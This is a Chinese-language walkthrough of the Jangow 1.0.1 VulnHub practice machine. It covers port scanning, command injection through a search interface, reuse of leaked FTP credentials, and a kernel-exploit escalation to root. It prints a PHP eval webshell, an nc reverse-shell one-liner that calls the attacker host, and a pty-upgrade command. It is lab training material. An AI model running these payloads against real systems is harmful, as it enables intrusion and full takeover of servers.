Jangow: 1.0.1-vulnhub靶场
环境信息
靶机:192.168.124.133
攻击机:192.168.124.129
打靶过程
1.nmap扫描靶机端口及服务
发现开放21,80端口,尝试访问,ftp需要账号密码,80端口有网站目录信息
点击Buscar发现一个可疑接口
尝试输入系统命令,成功执行
反弹shell失败尝试写入一句话
多次尝试反弹shell均失败,查资料说有可能是sh链接到了dash,而不是bash,或者就是有其他限制
那么尝试写入一句话连接
echo '<?php eval($_POST["pass"]);?>' > 111.php
在家目录下发现第一个flag
在网站目录下发现两个疑似账号密码信息,一个在config.php,一个在.backup备份文件中
想到有ftp服务,尝试登录,使用jangow01/abygurl69成功登录
未发现什么有用信息
反弹shell
通过蚁剑写入shell,web访问反弹(这里反弹的shell不是交互式shell)
这里尝试过很多端口,只有反弹443端口才能成功,可能是靶机有限制
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.124.129 443 >/tmp/f");?>
或者直接执行命令反弹
提权
查看系统内核版本尝试找内核漏洞提权
将45010.c下载下来,编译后,通过蚁剑上传到靶机
或者编译后,使用ftp上传到靶机
给exp赋予执行权限,并执行,发现操作被拒绝,尝试切换到jangow01用户失败
这是由于我们获取到的shell不是交互式shell,无法切换用户
使用命令获取交互式shell,切换登录jangow01用户(前提是目标靶机有python环境)
python3 -c 'import pty;pty.spawn("/bin/bash")'
再给exp赋予执行权限,并执行,成功提权到root
进入root家目录找到第二个flag
总结
1.可疑接口:大部分接口都有特定的功能,一般可能存在 命令执行、代码执行 或 文件包含漏洞
2.配置文件及备份文件:配置文件及备份文件中往往会有一些关键信息
3.交互式 shell:交互式的反弹 shell 会更方便攻击
4.系统内核漏洞:系统内核漏洞一般都能直接本地提权,且往往提权至 root 权限